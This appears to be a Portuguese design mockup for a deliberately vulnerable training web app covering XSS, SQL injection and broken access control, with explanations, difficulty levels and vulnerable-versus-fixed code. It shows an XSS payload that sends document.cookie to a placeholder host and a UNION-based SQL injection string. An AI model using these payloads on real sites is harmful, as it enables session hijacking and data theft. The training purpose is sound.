

Tela Principal:

web vulnerability tester

LoginCriar usuário

Dificuldade ▼

Tipo ▼

Vulnerabilidades

SQL Injection

Cross-Site Scripting

Broken Access Control

Dados Bancários

Inserir novo cartão

Modificar Cartão existente

Excluir cartão

Vulnerabilidade: Cross-Site Scripting

User

User

Message

Hi

User, Hi

Source Code

Submit

Cross-site Scripting (XSS) é uma vulnerabilidade de segurança que permite que um invasor injete scripts maliciosos em páginas web visualizadas por outros usuários. Esses scripts são executados no navegador da vítima, permitindo que o invasor roube informações confidenciais, como cookies de sessão, ou execute ações indesejadas em nome do usuário.

A técnica de XSS é explorada quando um aplicativo da web não valida corretamente os dados de entrada antes de exibi-los em uma página web. Isso pode ocorrer em campos de formulário, URLs ou até mesmo em campos de cabeçalho HTTP. O invasor pode inserir scripts maliciosos, geralmente escritos em JavaScript, que são então executados quando outros usuários visitam a página comprometida.

As consequências de um ataque XSS podem ser graves. Um invasor pode roubar sessões de usuário, permitindo acesso não autorizado a contas, ou redirecionar usuários para páginas de phishing para roubar informações de login. Além disso, os scripts maliciosos podem ser usados para infectar os usuários com malware, manipular o conteúdo da página ou até mesmo roubar informações confidenciais diretamente do navegador do usuário.

Para mitigar o risco de XSS, os desenvolvedores devem adotar práticas seguras de desenvolvimento web, como a sanitização rigorosa de entradas do usuário e a implementação de mecanismos de segurança, como Content Security Policy (CSP), que ajudam a mitigar os riscos associados ao XSS.

Mais informações

- [OWASP "Cross-site Scripting \(XSS\)". Disponível em: https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)
- <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

Redirecionar o usuário:

User

User

Message

<script>window.location='http://aaaaa/?cookie='+document.cookie</script>

User,

Source Code

Submit

*Usuário pode executar os testes

Caixa de texto Cross-site:

User

User

Message

Test

User, Test

Source Code

Submit

Source code:

Código vulnerável	Código protegido
<pre>// Vulnerable code that directly inserts user input into the HTML content function displayMessage(message) { // Display the message on the page document.getElementById('message-container').innerHTML = message; }</pre>	<pre>// Corrected code that properly escapes user input to prevent XSS attacks function displayMessage(message) { // Escape HTML characters in the message to prevent XSS attacks var sanitizedMessage = escapeHTML(message); // Display the sanitized message on the page document.getElementById('message-container').textContent = sanitizedMessage; } // Function to escape HTML characters in a string function escapeHTML(html) { return html.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").r</pre>

*Mostra o código fonte do formulário vulnerável (por exemplo) e como protegê-lo

Outra página:

Web Vulnerability Tester

LoginCriar usuário

Dificuldade ▼

Tipo ▼

Vulnerabilidades

SQL injection

Cross-Site Scripting

Broken Access Control

Dados Bancários

Inserir novo cartão

Modificar Cartão existente

Excluir cartão

Vulnerabilidade: SQL Injection

Pesquise pelo nome do usuário:

Nome	Idade	Profissão
user2	49	Programador
User1	21	Cozinheiro

SQL Injection é uma vulnerabilidade de segurança comumente explorada em sistemas de gerenciamento de banco de dados (DBMS) que utilizam SQL (Structured Query Language). Essa técnica maliciosa permite que um invasor insira código SQL arbitrário em consultas de entrada, permitindo assim manipular o banco de dados e obter acesso não autorizado a informações confidenciais ou realizar ações indesejadas.

Para realizar uma SQL Injection, o invasor explora falhas na forma como as consultas SQL são construídas em um aplicativo da web. Geralmente, isso ocorre quando os desenvolvedores não sanitizam corretamente as entradas do usuário antes de incluí-las em consultas SQL. O invasor pode então inserir instruções SQL adicionais ou modificar as consultas existentes para executar ações não autorizadas.

As consequências de uma SQL Injection podem ser devastadoras. Um invasor pode obter acesso a dados confidenciais, como informações de usuário, senhas, dados financeiros ou até mesmo informações críticas da empresa. Além disso, eles podem manipular ou excluir dados, comprometer a integridade do sistema, ou até mesmo assumir o controle completo do servidor.

Para mitigar o risco de SQL Injection, os desenvolvedores devem implementar práticas seguras de desenvolvimento de software, como a utilização de consultas parametrizadas ou o uso de ORM (Object-Relational Mapping) para interagir com o banco de dados. Além disso, é essencial realizar auditorias de segurança regulares e aplicar patches de segurança para evitar vulnerabilidades conhecidas.

Mais informações

[OWASP. \(s/d\). SQL Injection. Disponível em: https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)

[OWASP. \(s/d\). SQL Injection. Disponível em: https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)

Pop-up com exemplo SQLi:

```
id=-1 UNION SELECT 1,table_name FROM information schema.tables WHERE
table_type=0x626173655207461626c65 AND table_schema=0x64767761; &Submit=Submit
```

Dificuldade:

Fácil: campo livre para qualquer tipo de dado de submissão.

Médio: Campo do tipo select, que obriga o usuário a usar o próprio inspect da página para alterar os parâmetros de submissão. Além disso, alguns dados podem estar criptografadas com hash e afins. Talvez checar por caracteres xss.

Difícil: addslashes()" together with "mysql_real_escape_string()"

Outra página:

Web Vulnerability Tester

Vulnerabilidades

SQL injection

Cross-Site Scripting

Broken Access Control

Dados Bancários

Inserir novo cartão

Modificar Cartão existente

Excluir cartão

Login

Criar usuário

Dificuldade

Tipo

Vulnerabilidade: Broken Access Control

Broken Access Control, ou Controle de Acesso Quebrado, refere-se a uma vulnerabilidade de segurança em que um aplicativo da web não impõe corretamente restrições de acesso aos recursos protegidos. Isso permite que usuários não autorizados acessem informações confidenciais, execute ações privilegiadas ou modifique dados sem permissão.

Essa vulnerabilidade pode ocorrer de várias maneiras, como a ausência de verificação de autorização em determinadas funcionalidades do aplicativo, a exposição de APIs sem restrições adequadas, ou a falha na implementação de políticas de controle de acesso baseadas em função. Um invasor pode explorar essa falha manipulando solicitações HTTP, alterando identificadores de sessão, ou acessando diretamente URLs restritas.

As consequências de um Broken Access Control podem ser graves e variadas. Um invasor pode acessar informações confidenciais, como dados pessoais ou financeiros, realizar operações não autorizadas, como a modificação ou exclusão de dados importantes, ou até mesmo assumir o controle total do aplicativo. Além disso, isso pode levar a violações de conformidade, perda de confiança dos usuários e danos à reputação da empresa.

Para mitigar o risco de Broken Access Control, os desenvolvedores devem implementar medidas de segurança, como a aplicação rigorosa de autenticação e autorização em todas as funcionalidades do aplicativo, o uso de tokens de sessão seguros, e a implementação de controles de acesso baseados em função. Além disso, testes de segurança regulares e auditorias de código podem ajudar a identificar e corrigir vulnerabilidades existentes. Em resumo, Broken Access Control representa uma séria ameaça à segurança da informação em aplicativos da web, exigindo uma abordagem proativa e contínua para garantir a proteção adequada dos dados e recursos do aplicativo.

Mais informações

[OWASP. \(s/d\). Broken Access Control. Disponível em: https://owasp.org/www-project-top-ten/2017/A6_2017-Broken_Authentication](https://owasp.org/www-project-top-ten/2017/A6_2017-Broken_Authentication)

[PortSwigger. \(s/d\). Broken Access Control. Disponível em: https://portswigger.net/web-security/access-control](https://portswigger.net/web-security/access-control)